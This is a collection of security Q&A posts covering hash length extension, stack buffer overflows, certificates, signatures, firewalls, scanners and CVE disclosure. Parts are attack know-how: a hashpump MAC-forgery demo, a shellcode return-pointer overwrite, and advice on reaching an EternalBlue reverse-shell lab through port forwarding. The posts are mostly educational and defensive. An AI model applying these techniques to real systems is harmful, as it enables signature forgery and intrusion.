Fail to understand how hash length extension might work in real application I'm trying to understand how the hash length extension might work on real web applications using a hash for MAC.
Especially what I don't get is, how the application considers the evil forged hash valid.
Let's say we have an app which sends this and I want to tamper with data
POST /stuff?mac=d147c7b4a79f920a1efefddc30da181f036073cd

data

We can agree that the app behind the scene does something like this
if($_GET['mac'] == $_SESSION['previouslyCalculatedHash/Viewstate']) {
    echo 'OK'
}

Except if I do that, length extension does not allow to tamper data, as shown below it does not give me the same hash, which makes sense and so I don't see what we can do with this attack on real applications which might check for string equality with a previously calculated hash saved in application state.
❯ echo -n 'SECRETdata' | sha1sum
d147c7b4a79f920a1efefddc30da181f036073cd  -

❯ hashpump -s d147c7b4a79f920a1efefddc30da181f036073cd --data 'data' -a 'evil' -k 6
21e42c16b9cd8b06763d4383efa2175e8abc93f2
data\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Pevil

❯ echo -n 'SECRETdataevil' | sha1sum
482ac2a591135150b444bd18e4e045f5fd3881a6 -

So, I would like to know a real example where the length extension might allow a bypass on a web application.

A length extension attack can be performed on the Merkle–Damgård construction (MD) based hash functions (MD5,SHA1,SHA2,...). The trimmed versions of SHA2 series like SHA512-256 or HAIFA ( extension to MD) based hash functions like Blake(2(b)), or the SHA3 are immune to length extension attack.
To be useful the attack needs the data (known_data). The first real attack was on the Flicker API over MD5 on Sep. 28, 2009. Actually, It is more than that, it is signature forge.
Given a hash value h with the secret_key the signature is calculated as;
   `h = MD5(IV,secret_key ∥ known_data ∥ pad1)`

one can form a new message without knowing the secret_key. If there is no secret_key, then there is no problem, just compute the hash of any data you want and the server will accept.
Now, the attacker takes the message and the signature to forge this
h' = MD5(IV,secret_key ∥ known_data ∥ pad1 ∥ appended_data ∥ pad2)
here the new message is m' = known_data ∥ pad1 ∥ appended_data
The pad1 and pad2 are the MD5 function padding.
They can execute the extension as;
MD5(h,appended_data∥pad2)
In other words, one just needs the change the initial values of the MD5 with the h. Now, one can send this to the server with the message by the server's protocol, and the server will accept it. As shown, the attacker doesn't need the secret_key at all to execute this attack.
The attack worked since the secret_key is in the beginning. Today we have better constructions like HMAC which is immune to the length extension attacks. HMAC is expensive since two calls of the hash function. With SHA3 we have a new one KMAC that has a more simple design and easier proof of security.
update per comment:

I don't get how applications validate hash signature, as hash are only one way and can't be decoded

To validate the signature it will use the canonical verification, the application, take the received new message m  and hash it with the secret_key and check the equality with the received h. They are fooled since they considered that the secret_key is enough for this signature scheme.


Bufferoverflow example on 64 bit Linux I am attempting to learn about buffer overflows. I have written a simple C program that calls a function called checkpw() which allocates a char array of 10 bytes large. When I analyze the op code I see that it actually allocates 16 bytes on the stack.

My goal was to overflow that buffer and write over the return pointer address, which I have successfully done. I have pointed it to a bit further down the buffer where I have shell code, where the first instruction is xor eax,eax.

During the GDB disassembly I can si single step through the op codes successfully until the rip (instruction pointer) points exactly where I want it to point (0x00007fffffffde40).

I even see the => when I examine that memory location with the x/i 0x00007fffffffde40 which then displays the op code xor eax,eax.

The problem is as soon as I engage in the next instruction with si I get a SEGFAULT.

When I compiled the program, I made sure to include the switch -fno-stack-protector setting, and I also performed echo 0 > /proc/sys/kernel/randomize_va_space

Other than that, I am stuck. Why I am getting a SEGFAULT instead of executing the xor?

You're running into memory protection, specifically the NX bit.  On modern systems, memory is typically flagged as being either data (and thus can be read and written) or as code (and thus can be read and executed).  Attempting to write to a code area or execute a data area will trigger a SEGFAULT.


Windows - service account default certificate store I am writing a web app that connects to external web services. The external web services serve an intermediate certificate signed by Thawte SGC CA - G2.

When I setup IIS to run the web app using service account on a separate corporate domain (let's say, DEV\service_account), the application fails to validate the certificate because it doesn't trust the CA. However, when I use my own account, there is no such problem.

A look into the machine and my account certificate stores shows that Thawte SGC CA - G2 isn't in any of Personal, Intermediate or Trusted Root CA stores.

How then, does my account decide that the certificate can be trusted?

Turns out that the intermediate certificate (Thawte SGC CA - G2) needs to be downloaded off of Thawte's site. And the reason why the service account couldn't establish the trust is because it's not allowed to download the certificate.


Debug mode for an application but removed in production A application use the debug as boolean to prefill login, password for authentication.

The code is something like that :

if (ContantsFile.CUSTOM_DEBUG_FLAG) //static final
{
//disable access control ==> admin mode (admin section are now visible for anybody)
}

The application is coded in JAVA.
And the constants.class is a different one delivered in production.

I have the feeling (excuse me I am still a newbie in the field) that this pattern is a security flaw for the following reason :
 - if an attacker could change the constants.class in production, the whole application will be vulnerable

It is obviously a bad pratice for a DEV point of view (I am a developer).

Do you have better explanation or arguments? Those developers will respond me that if an attacker have access to his file, he is already inside the application and could change anything.

Thank you in advance

Frenchy

In the code you posted, the username and password could be easily extracted from the compiled binary.

If you're going to do it this way, use a preprocessor directive like #if DEBUG so that the code is not even compiled in a release build.

This still leaves your other environments vulnerable, so I wouldn't hard-code the username and password at all and instead use a password manager to auto-fill it. Additionally, a development username and password probably shouldn't be valid in a production system.


How does the digital signature process work? I'm trying to understand the process of digital signature verification, however I don't quite get the explanation in my book.

If A wants to send a message to B with a digital signature, the process is apparently as follows:

The message being sent has a public hashing algorithm applied to it
to create a hash
The hash is encrypted using A’s private key, and is then appended
to the message which will also be encrypted. This encrypted hash is
the digital signature
B will then decrypt the hash using A’s public key
The original message is then decrypted and put through the same
hashing algorithm to produce a hash
If the two hashes are the same, the message is authenticated,
otherwise it cannot be authenticated

First off, is this explanation correct?

Second, how can B decrypt the hash using A's public key? The purpose of a public key is so data can be encrypted.

Why would A encrypt something with their private key? If sending a message to B, would A not use B's public key?

How can the original message be put through the same hashing algorithm to produce the same hash if A initially used their private key to produce the 1st hash (the private key of A won't be known to B)?

If this explanation isn't correct, where does it go wrong?

Encryption and (Digital)Signing are different applications of PKI.

First (only) the most relevant concepts:

Encryption (so that a 3rd party wouldn't see the content): Use the receiver's Public Key (B-PubKey). Encrypt the content. You know the content because it originated from you. The receiver can decrypt using their Private Key (B-PvtKey) and see the content.
Digital Signing (so that any party can check whether the document is exactly as it was, when you signed it; and that be sure that only you could've signed it): Use the sender's Private Key (A-PvtKey) to encrypt the hash. NOT the content.

In your example, one of the issues is that you combined both. A normal digital signature process involves

Hashing the Message Plain Text using a well-known (public) hashing algorithm.
Encrypting it with sender's (A-PvtKey) Private Key.
Appending the encrypted hash to the Message Plain Text and send/store/...
Receivers can be one/many/any. None of the receivers' keys are used.
Anyone wishing to verify the document just follows the reverse process. i.e.,
Separate the encrypted hash from the message
Decrypt with sender's public key (A-PubKey) (usually from a Digital Signature Certificate issued by a trustworthy / legally-acceptable CA).
Generate the hash from the Message Plain Text independently and compare with the decrypted hash from #7 above.

That B was able to decrypt the hash with A-PubKey establishes the technical aspect of non-repudiation. That (if) the hashes were the same establishes the document integrity.

You should be able to see illustrations of these in a number of articles / videos freely available on the web.


Encryption for efficient rsync I use rsync (also called deltacopy) to a copy a large (6GB) text file (SQL database dump) on to a remote server. this gets me about 100:1 bandwidth reduction over simply copying the file as most of the content us unchanged day-to-day

This is a single file which contains all the data in the database,  rsync compares the content piece by piece with the destination content (using hashes) and only sends the hashes and the changed parts down the wire.

I can instead produce a dump with one file per database table, but the Only tables likely to be unchanged day-to-day are small.

I want to start encrypting this file at the source, and storing only encrypted copies at the destination, but it seems to me that any encryption stronger than a simple substitution cypher is going to compromise the efficiency gain I get from using rsync.

Is there some strong encryption that I can use for this purpose?

You can use duplicity for that. Duplicity is an application written in Python which uses librsync, GnuPG, and tar for incremental, encrypted, and signed backups. It is specifically designed for situations where the server is untrusted (for example, when Dropbox or an Amazon VPS is used). Duplicity calculates the delta between the local archive and the remote archive (with metadata cached locally) and sends an encrypted file to the remote server containing records of incremental changes and associated data. Each snapshot file is typically 25 MiB in size (although that is configurable), and without the key, it is impossible to tell if the snapshot file contains 25 MiB worth of new files, 25 MiB of incremental changes, or even 25 MiB of metadata, like file deletion records.

Duplicity will generally only transmit a single, full backup once, and then all subsequent backups will be in the form of deltas. This makes it similar to a revision system where all past changes can be reverted. When a local file is deleted and this is synced to the remote server, the remote file is simply marked as having been deleted. Of course, it is possible at any time to "clean" old changes and do a new full backup in order to save space. See the manual page for more information.

The benefit of duplicity is that the destination server can be completely untrusted without compromising the ability to do efficient, incremental backups. A moderate cache of metadata must be stored locally in order to make this possible, but you can trade-off the storage requirement for bandwidth requirements and re-download the metadata before each sync.


Can I used Google Authenticator with Radius and VMwareview We're looking to add 2 factor and one of the options is google authenticator and I was wondering if we can attach that to a radius server attached to our VM infrastructure for remote access.

All the options I've found so far are RSA key or OpenOTP or SMS passcode, which are things we can go to, but we would like to use google if possible.

Thanks

Google Authenticate stems from the OATH (Open Authentication) group, and is based on RFC 4266 and RFC 6238.  You could implement it using Pluggable Authentication Modules on your RADIUS server.

Check out this thread and this.


My ISP blocks incoming ports so I can't even run webserver let alone 'reverse shell', any ideas? I'm looking for ideas on how to run lab environment from "victim" test PC at work and "attacker" - my home PC.

Both are on separate ISPs, but it seems that my ISP at home blocks anyone trying to connect (I may be wrong though!).

My thoughts:

Try it via AWS Amazon, though Amazon will likely ban me if they see I'm installing metaploit on their instances.
Rely on bind-tcp or cmd payload... but cmd payload doesn't seem to work well when it comes to Eternalblue (which is what I need mainly).

What else can I try to mitigate the port blocking from the ISP?

You need a VPN SERVER because ISP does not open port 80 by default so you cannot listen on that port to complete http listen attacks.
I recommend you to first try free VPN server and then you can check whether port 80 is open or not by going to Here.

If you are using router you need PORT FORWARD to redirect request to your machine.
Here is the tutorial you can try.


How to block traffic coming from an "public" WiFi hotspot and going to the LAN (iptables) I followed this tutorial (http://elinux.org/RPI-Wireless-Hotspot) for an Wifi Hotspot in the guesthouse. This is working fine, but every device on the WiFi network can reach any LAN device in the LAN and vice versa. I don't want this (or at least block ARP spoofing) because there is some sensitive HTTP traffic (I can't use SSL).

Which iptables rules are needed to restrict the WiFi to only be used for "the internet"? I do login with SSH on the Rpi from the LAN.

After some debugging I found my problem It wasn't the firewall rules but the fact that the DHCP server for my LAN wasn't working (and thus creating an very strange scenario).

These are the rules I used (i flushed all previous iptables rules from the tutorial):

sudo iptables -P FORWARD DROP
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -d 192.168.2.0/24 -j DROP
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o wlan0 -d 192.168.2.0/24 -j DROP
sudo iptables -A FORWARD -i eth0 -o wlan0 -j ACCEPT

And this results in:

Chain FORWARD (policy DROP 0 packets, 0 bytes)  pkts bytes target     prot opt in     out     source               destination
    0     0 DROP       all  --  wlan0  eth0    anywhere             192.168.2.0/24   192 11645 ACCEPT     all  --  wlan0  eth0    anywhere             anywhere
    0     0 DROP       all  --  eth0   wlan0   anywhere             192.168.2.0/24
    9  6286 ACCEPT     all  --  eth0   wlan0   anywhere             anywhere

What happens here, is that i refuse any traffic from my LAN (192.168.2.x) from going to the WLAN and vice versa. If the packets comply to this rule, I use NAT to transfer them to the gateway of the LAN and onto the internet.


Software for testing XSS and other web sites vulnerabilities One of my site would be submitted for vulnerability test, not sure if the company does this test manually.

I was wondering if i can find any software where I specify all variables names used in my website and automatically try to input code, script and other stuff in my form and pages to see if any vulnerability is open.

I don't trust online services, so I would really prefer something on my local machine, this would also let me do the test on local environment first.

Here are some Open Source Web Application Vulnerability Scanners that support XSS scanning:

X5S

  x5s is a Fiddler addon which aims to assist penetration testers in
  finding cross-site scripting vulnerabilities. This is not a point and
  shoot tool, it requires some understanding of how encoding issues lead
  to XSS, and it requires manual driving.

Documentation: https://xss.codeplex.com/wikipage?title=Tutorial&referringTitle=Home
Download X5S: https://xss.codeplex.com/releases/view/43170

Grabber :

  Grabber is a web application scanner. Basically it detects some kind
  of vulnerabilities    in your website. Grabber is simple, not fast but
  portable and really adaptable. This software is designed to scan small
  websites such as personals, forums etc. absolutely not big
  application: it would take too long time and flood your network.

Download it here: http://rgaucher.info/beta/grabber/
Source code on Github: https://github.com/neuroo/grabber

Vega:

  Vega is a free and open source web security scanner and web security
  testing platform to test the security of web applications. Vega can
  help you find and validate SQL Injection, Cross-Site Scripting (XSS),
  inadvertently disclosed sensitive information, and other
  vulnerabilities. It is written in Java, GUI based, and runs on Linux,
  OS X, and Windows.

Documentation: https://subgraph.com/vega/documentation/index.en.html
Download Vega: https://subgraph.com/vega/

ZAP:

  Zed Attack Proxy (ZAP) is one of the world’s most popular free
  security tools and is actively maintained by hundreds of international
  volunteers*. It can help you automatically find security
  vulnerabilities in your web applications while you are developing and
  testing your applications. Its also a great tool for experienced
  pentesters to use for manual security testing.

Documentation: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Download ZAP: https://github.com/zaproxy/zaproxy

Wapiti

  Wapiti allows you to audit the security of your web applications.

  It performs "black-box" scans, i.e. it does not study the source code
  of the application but will scans the webpages of the deployed webapp,
  looking for scripts and forms where it can inject data.

  Once it gets this list, Wapiti acts like a fuzzer, injecting payloads
  to see if a script is vulnerable.

Documentation: http://wapiti.sourceforge.net/
Download Wapiti: https://sourceforge.net/projects/wapiti/files/

- W3af:

  w3af is a Web Application Attack and Audit Framework. The project’s
  goal is to create a framework to help you secure your web applications
  by finding and exploiting all web application vulnerabilities.

Documentation: http://w3af.org/
Download W3af: https://github.com/andresriancho/w3af/

- WebScarab:

  WebScarab is a framework for analysing applications that communicate
  using the HTTP and HTTPS protocols. It is written in Java, and is thus
  portable to many platforms. WebScarab has several modes of operation,
  implemented by a number of plugins. In its most common usage,
  WebScarab operates as an intercepting proxy, allowing the operator to
  review and modify requests created by the browser before they are sent
  to the server, and to review and modify responses returned from the
  server before they are received by the browser. WebScarab is able to
  intercept both HTTP and HTTPS communication. The operator can also
  review the conversations (requests and responses) that have passed
  through WebScarab.

Documentation: https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
Download WebScarab: https://github.com/OWASP/OWASP-WebScarab
XSS plugin: https://www.owasp.org/index.php/Webscarab_XSS-CRLF_plugin

Good luck !


Is a Windows AD credential combined with AD group membership 2 factor authentication? We have a requirement for 2-factor authentication for our internal WiFi SSID's.
Currently we use PEAP w/ MS-CHAPv2 to pass windows creds through the AP to a RADIUS server (A Domain Controller running NPS).  This has been recently been accused of not being 2-Factor authentication because it's only supplying 'something you know' in the form of your windows credentials..

However, on the NPS server they have to be a member of one of two groups in AD as well to be allowed on, so in my book that would be 'something you are'. Making it two-factor..  So is our current setup really two-factor or not.  Thanks in advance!

The notion of "two factor authentication" is not a strictly defined mathematical notion. However, usually, it relates to having two factors for authentication.

The second term is important: you are trying to authenticate a user, i.e. to make sure that the user is indeed at the other end of the line. Right now. When looking up the account membership in the AD server, you are not verifying whether the human user is there or not. Indeed, the user account is still a member of the groups even when the user is not there at all. Thus, verifying group membership is not authentication at all. Nothing in the AD will tell you: "yeah, you are talking to Bob right now". At best, the AD will tell you: "there exists a user known as Bob".

AD group memberships are not authentication. As such, they cannot be an authentication factor. What AD group memberships relate is authorization, a completely distinct concept.


Fuzzing of audio input vectors A few days ago I had to make a phone call and on the other end of the line was some machine using some voice recognition software to validate the customers spoken answers to the service menu. I asked myself if it would be possible to fuzz this kind of input with some kind of random generated noise files or such? In the end the software analyzes the customer's voice by some heuristics or some machine learning system or such.

http://www.mcafee.com/us/resources/data-sheets/foundstone/ds-interactive-voice-response-assessment.pdf

The paper above gives some explanation of an audit of such a system. The first place they start is by using an API to automate the calls (skype in this case), and working on fuzzing the DTMF based interface. It seems like few of these systems are purely voice recognition based, and that many exploits can be found just by automating the touch tone bits.

http://www.securitytube.net/video/4255

also has some information on breaking such a system.

So for 1) You don't necessarily have to fuzz the voice directly.

Now, if you decided that had to fuzz voice, I don't think there is a library in existence that will do it for you. I would start with a dictionary of recorded words - perhaps http://shtooka.net/ - and write a script to play likely combinations of words. You would use the skype api to make the call, and then play the sentences you came up with to test the system.

It might also be profitable to shoot random noises / sine tones at the system. You might find some kind of testing frequency that opens up the system like the old phone phreaks used to do. There are literally tons of programs that will help you script up testing tones. You could even write that part in javascript with the web Audio API if you like.

Then, you might want to use voice recognition software to detect the failures and successes.

None of this will be possible without you thoroughly mapping out the system before hand. The testing plan I linked above suggests that, and I think that's where you should start.


HTTPS connection issue on Chrome/Chromium/Opera I am trying to build a light web server on an embedded device, and trying to add HTTPS to it by introducing mbedTLS.

I can use Firefox or IE to make connections without any problem.
   However, when using Chrome/Chromium/Opera, it creates many TCP connections at first,  and try to do SSL handshake. Most of the connections didn't send any ApplicationData after SSL handshake, the browser sends FIN right after ChangeCipherSpec and Finish. Only few connection would send ApplicationData after SSL handshake. It causes many items on a page are not loaded, the server didn't receive GET request for some items.

Cipher suite: RSA_WITH_AES128_GCM_SHA256
Certificate: Self-signed certificate with RSA1024/2048 key
keep-alive is not enabled

Why are so many connections created but not used by Chrome? And any idea to fix it?

Thanks

For StackzOfZtuff

Here is the screenshot of Chrome dev tool, it shows some certificate error, which is because the certificate is self-signed.

For Tom

SSLLabs result:
The main issues are:
(A) RSA key length 1024 is weak
(B) Self-signed certificate issue
(C) Forward secrecy not support

For Baptiste

I tried to disable "QUIC protocol", but I still got the issue of Chromes sends FIN after SSL handshake.

Thanks for StackzOfZtuff's help, I found the problem finally.

While connecting to a server with a self-signed certificate, the Chrome would show "Your connection is private", and we can keep going by clicking "Advanced" and "Proceed to XXX". However, even the website is loaded, but the chrome would create many SSL connections and disconnect some of them after handshake finish.

By analyzing the Chrome event by "chrome://net-export" and "chrome://net-internal", it shows the socket is closed after SSL handshake and an error "ERR_CERT_AUTHORITY_INVALID" shows.

I tried to disable the SAN(Subject Alternative Name) check of Chrome first (because my mbedTLS doesn't support creating a certificate with SAN now) and import the certificate manually to Chrome, then the Chrome can connect to my httpd without certificate warning message and the Chrome would no more drop the connection.


Should I encrypt my entire hard drive, or only a partition? I have an HP Pavilion notebook which has a 1TB hard drive. I run Windows 10 on it.

If instead of fully encrypting the hard drive or encrypting the partition on which Windows is installed,  I just encrypt a partition where I store my sensitive information, will it increase the chances of my data getting stolen(in comparison to the other alternatives) if my device gets stolen?

I don't want to encrypt my whole hard drive because it will take a lot of time. To encrypt 150GB is taking 10 hours.

Both solutions are acceptable but they have different pros and cons.

Full disk encryption:

Pros: you have no risk of leaking some sensitive data in a non encrypted partition

Cons: if things go wrong, the full disk become unreadable and you will have to try to recover/reinstall from a removable bootable media: do not forget to build and securely store it
Encrypted partition(s):

Cons: if you only encrypt a data partition, sensitive data can end in temporary files or swap file in a non encrypted partition

Pros: if things go wrong, the unencrypted partitions will be easier to recover

Following is my (subjective) advice:

If you have a recovery partition in your disk, this one should not be encrypted, but you should encrypt all windows partition be them system or data if you want to be super safe, or only the sensitive data partition if you can accept that an attacker could find traces in temp or swap files.

Alternatively, you could build a (set of) removable recovery data, and go with full disk encryption.

The initial encryption time does not really matter IMHO. It happens only once. But 10 hours for 150 Gb seems rather weird. SATA disk io throughput should allow around 100Mb/s, so encrypting 150Gb should not exceed a couple of hours.


Risk of Docker backdoor allowing impersonation I am a junior web developer. All I know is mostly about web development. I have no skills and knowledge about system security and know little about Linux.

I work in a company which is developing some embedded product. In the R&D department, some developers built a build-server for development. They make our own Docker image and run Docker, including CI/CD and Gitlab service, in this server.

This build-server connects with our AD server. Our developer could add his own public Key to this server and then remotely log in to this server with SSH and doing development in this server. We call it DevOps.

This server only works in our company's intranet or VPN, not open for public Internet.

The above is all background information.

A few months ago I read some IT security blogs about Docker security issues. It says that because the architecture of Docker is different from traditional VM, if the Docker image is backdoored, then the whole system will be easily hacked.

If I suppose that the person who built this build-server is not a good guy, and he backdoored the Docker images, is it possible that my account in this build-server could be hacked or usurped?

I mean even I use the public key and SSH login, without typing the password manually. Does this risk still exist?

Second question: if the first question above is TRUE, what could I do to protect my self?

I mean, if the bad guy usurped my account and did something bad thing (for example, leaking development codebase of company using my account or doing other attacks using my account), how could I prove I am innocent?

I can not discuss these suspicions thinking with my colleague because I have no evidence about those things. I just worry about these becoming true, so I want to do something to prevent, just in case. I also have no authorization to check or validate the server.

What could I do? Backup my login logs of my laptop periodically? (But it seems irrelevant to the build-server.)

If I suppose that the person who built this build-server is not a good guy, and he backdoored the Docker images, (...)

If the administrator of the server is malicious, he could have backdoored it so that he knows every interaction you do with its service (including passwords entered there).

  I mean even I use the public key and SSH login, without typing the password manually. Does this risk still exist?

A public key SSH login cannot be man-in-the-middled. There is no password that can ve reused. The server knows the public part of your ssh keys, and verifies that you have knowledge of the private one.

  if the bad guy usurped my account and did something bad thing (for example, leaking development codebase of company using my account or doing other attacks using my account), how could I prove I am innocent?

Note that in your scenario he would only have access to your account in that server.

Please note that it is highly unlikely that this is going on. On every company there are system administrators (someone needs to make sure that thinks work!), and they could theoretically backdoor the systems. But this doesn't mean they do. It would in fact be quite risky for them should they be caught. Your company should provide you a safe environment to work, and if they considered that it is safe to give access to X guy, and that turned out to be a bad idea, it's really your company's fault. If you showed that other people had access to your account (not by your fault, though!), that should show that it is not necessarily you who did "that very wrong thing" (an actual case would probably require a lot more detail than just looking at the account user, probably requiring a forensic analysis, etc.).

Also note that it is also possible that guy X is doing things they are not supposed to, or even breaking some internal company rules, such as storing passwords of other employees. In that case, if you found out, there should be some high-level position (an internal security team? the CISO?) to which it could (should) be reported.

Obviously, if a system may be controlled by other users, don't store anything confidential there,  avoid entering your credentials on it, etc.


What is the use of this spam email? Monday morning, and I've opened my company email box to find this an e-mail with the following message (no HTML, just text/plain - it was sent to a distribution group).

Some of the headers:

X-Mailer: Labourism v0.42
To: Keren [suppressed] <webteam@[suppressed]>
From: Fae [suppressed] <stilts@[suppressed]>
Subject: gold of the t
MIME-Version: 1.0

Note: The To name does not work here or has never worked here. There is no "Keren" in the webteam distribution group.

  gold of the t

  Osed to yield what is believed to be the only truth consistent with an intelligent conception of a just, loving, and wise God. The immediate cause of this determined conflict is found in Professor Briggs' recent address on the authority of the Holy Scriptures, delivered at his inaugural as Professor of Biblical Theology in the Union Theological Seminary of New York. In this notable address he maintai

Since it's not phishing for anything, what is the purpose of this? It's obviously spam, but why send it if there is no purpose - and notice it's not asking directly or indirectly for a reply to check if the receiving inbox is monitored.

This is an attempt at Bayesian poisoning, a technique designed to fool machine-learning spam filters.  It does not work, but spammers keep trying it anyway.

Quotes from (and about) scripture are rather common in Bayes poisoning for whatever reason, even though their maximum potential would be to confuse only filters that see a lot of similar text in legitimate mail, and even then Bayes is smart enough to know the difference.


Securing single page application I developed a web application in single-page application (SPA) architecture using Ext JS as client interface, but I have a trouble defining the right way of securing it with AJAX queries. How could I do that?

I recommend you reading OWASP AJAX Security Guidelines


How to keep Mac secure from viruses, malware and keyloggers? How can I download and install software and make sure that it is not infected with viruses, malware or a keylogger?

Also, I heard that Macs "don't get viruses". Is this true? Is it a good practice to run virus software on a Mac?

Nope it's not true, by design Mac has a better security model than Windows, but that doesn't mean it's secure. Furthermore due to the market share of Apple growing more and more chances are that Mac will get more interest from attackers than they currently have due to the growth of potential targets.

There have been virusses for Mac in the past like the Trojan BackDoor.Flashback which specifically targetted a Java exploit within OS:X.

I would indeed run anti-virus software on your Mac, it provides an extra layer of defense.


What is the risk of running a IOT device exposed to the internet using non https port? I have a IOT device in my home that controls my security system and let me enable/disable it.

It can be accessed via web interface and a mobile app. It's unknown to me what OS or other ports that may be open or other aspects. I only interface with it that way.

The device has a built-in DDNS-like service that lets me redirect to the device without knowing my IP.

I have the following settings I can enable or disable:

ENABLE HTTPS ON CUSTOM PORT
SET DEFAULT HTTP PORT
SET "SOFTWARE" PORT

I enabled HTTPS on a high port and set the http port to 0. However if I do that with the software port the mobile app wont work. I don't know if this port is working with https or http, or even if my mobile app connection to it is encrypted. The software port is not accessible on the browser. The HTTPS port is not accessible outside LAN by router rules.

What is the risk posed by this device if I expose it to the internet with a possibly plain HTTP port?  Is there anything I can do to mitigate this risk?

My goal here is to have the device accessible externally, and communicate with it securely with the mobile app, and limit risk of it infecting other devices in my network if compromised.

The risk is the same as with any other exposed service. Misconfigurations or vulnerabilities may end up providing an entry point to your LAN.

However, why expose it at all? Why don't you setup a VPN, connect your mobile to the VPN and then access the device internally in the LAN? That would be a better approach than just expose this service, as usually these kind of devices use software that tend to be somewhat weak in terms of security.


Is it safe to use a Windows executable with expired SHA256 certificate but valid SHA1 certificate? Microsoft's Media Creation Tool to create Windows 10 installation media has a SHA1 digital signature and a SHA256 digital signature (shown via file properties). However, the certificate for SHA256 signature shows "valid to" field as Saturday, February 17, 2018. SHA1 certificate is valid till August 11, though.
Windows still shows the signature to be OK and does not complain about running the tool. Is it really safe to run the tool with expired SHA256 certificate?

What a signature means: The signature means that the program hasn't been tampered with after being signed. (Ex. inserting malware into it would break the signature) Signatures don't prove whether a program is safe, just that it hasn't been modified since it was signed.

Although the SHA256 signature has expired, this doesn't necessarily mean that the signature can no longer be trusted, so long as Microsoft has kept that private key safe. The file hasn't been modified to break the SHA256 signature, it's just time for them to switch keys, so Microsoft doesn't have to hang onto and protect old keys forever. It also means that if the key is compromised and it can't be revoked, it will eventually expire on its own.

Unless Microsoft's private key was compromised between February 17 and now, the expiration date doesn't matter. If the key was compromised and used to sign something evil before February 17, the expiration date wouldn't save you.

TL;DR: It's almost certainly from Microsoft, but they should sign it again.


iMessage sent to contact that I did not type or send! I have an iPhone XR with iOS 14 with security issues in the past. One of my email addresses showed up on to data breach websites and the password I use was the same for all of my accounts like a dummy. Accordingly, my Apple account was hacked at the same time and password was changed by whoever hacked it.
I was really worried about my bank information and things like that so I changed all of the passwords that I could.
For a while everything seem to be going all right, until this morning I noticed a blue bubble message that “I” had sent to my lead at work, and I put quotation marks because it most definitely wasn’t me. And no one else had physical access to my phone at the time. And it was at three in the morning. Here is a picture of the message circled in red that was sent by someone

It was 8 AM before I noticed the message was sent to her and I apologized and told her that it was not me. I might even believe the stretch that it was an accidental voice to text but there is a question mark Emoji on the end that I never use.
At this point with everything that happened with my accounts being hacked I am almost certain that my phone has been compromised somehow by hackers. I’m paranoid about checking my bank account to make sure my money is not wiped out every day.
Has this ever happened to anyone before?
I was reading other forum post about this and people said that it is almost definitely the work of somebody remotely controlling from a computer terminal for malicious reasons. I think at this point I’m going to invest in an android with better security like a OnePlus unless someone has any better recommendations? You really can’t get a whole Lotta protection in Apple’s sandbox
Thanks!

I can think of four possibilities.

Your compromised account was registered on a new device and is used from there.
If this is the case, you will have gotten a message like this in the past. Maybe you have dismissed it without thinking about it.
Here is how to check your registered devices.
You sold one of your old devices and forgot to disable iMessage.
You changed your phone number in the past and did not deregister your old number.
If someone else is assigned your old phone number it could be treated like you send
the message. This is rather unlikely, since that person would need the number of your
contact for that to work.
Your device is jailbroken and has an unsecured SSH socket.

In my opinion the most likely scenario would have been that it was a voice message, but I don't think you can send that emoji via voice.


pycharm opening ports By running a simple port scan, I have noticed that pycharm is opening three ports on the machines it is installed on.

Pycharm is a great tool for developer, but it seems fairly awful to me on the security side. Opening ports is a known security hole, and they do not advertise loudly they are doing so.

How can I prevent pycharm from opening ports?

All programs can open ports. Running a firewall would prevent inbound traffic.

Running netstat -rn on Linux or OS X will show you all open ports. The ones listening on 127.0.0.1 are not open except to other local programs.


Is there a documented process for official information release for embargoed vulnerabilities in the CVE system? Is there a documented process for official information release for embargoed vulnerabilities in the Common Vulnerabilities and Exposures (CVE) system?

If such a process exists, how does it address situations like the recent Intel Kernel page-table vulnerability, where the vulnerability has already been publicly disclosed via unofficial channels, and a publicly available proof-of-concept exploit has already been documented?

I have been attempting to estimate the impact of the recent, embargoed Intel Kernel page-table vulnerability mentioned in this question. As mentioned in that post, this vulnerability has numerous references in social media accounts dating back to November 4th, forums, many news sites, and the Linux patches (December 4th) have even been benchmarked. There is even a Wikipedia article about it, as well as public documentation dating back up to 6 months. The lack of official information regarding this vulnerability and the intense public scrutiny of the hardware flaw and pending software workaround have led to a large amount of conflicting information being published.

With all of this unofficial information available, I have not yet encountered a single identifier associated with the vulnerability that provides a common reference for the patches and discussions. We know there is a CVE number, but since it is embargoed, neither the number nor any official documentation has been released to the public. Linux updates containing patches for this vulnerability will be released by Amazon as soon as January 5th and a similar one by Microsoft is expected by January 9th, yet there is zero official information available, which will result in these updates being deployed by many organizations (including mine) based only on wildly conflicting information regarding the cause while incurring an estimated 30% performance hit to multiple layers of many software stacks.

I understand the idea behind the embargo - disclosing too much information before a fix or workaround is available will give a head start to individuals or organizations writing exploits. However, the amount of unofficial information already available seems to have made the embargo a moot point, considering there are already proof-of-concept exploits documented.

The Google disclosure(s) yesterday evening (January 3rd) contains a concise summary of the end of the embargo, which was originally planned for January 9th, but was moved forward one week due to the amount of public information already available.

From "Reading privileged memory with a side-channel":

  We [Google] reported this issue to Intel, AMD and ARM on 2017-06-01.

From "Today's CPU vulnerability: what you need to know":

  We are posting before an originally coordinated disclosure date of
  January 9, 2018 because of existing public reports and growing
  speculation in the press and security research community about the
  issue, which raises the risk of exploitation. The full Project Zero
  report is forthcoming (update: this has been published; see above).

The CVE identifiers and disclosures were made publicly available as soon as the embargo ended:

Meltdown Attack

Mitre CVE-2017-5754 and NIST NVD CVE-2017-5754

Spectre Attack

Mitre CVE-2017-5753 and NIST NVD CVE-2017-5753

Mitre CVE-2017-5715 and NIST NVD CVE-2017-5715

The CVE identifiers were made public with the end of the embargo, which served as placeholders in the CVE and NVD databases for several hours. As of January 4th, the disclosure was publicly available via those sites.


Is there any security reason to not post your IP address somewhere? I often see articles on the net or SO where someone posts an example but blurs/blocks out their IP address. Example:

Is there any security reason to not show this info?

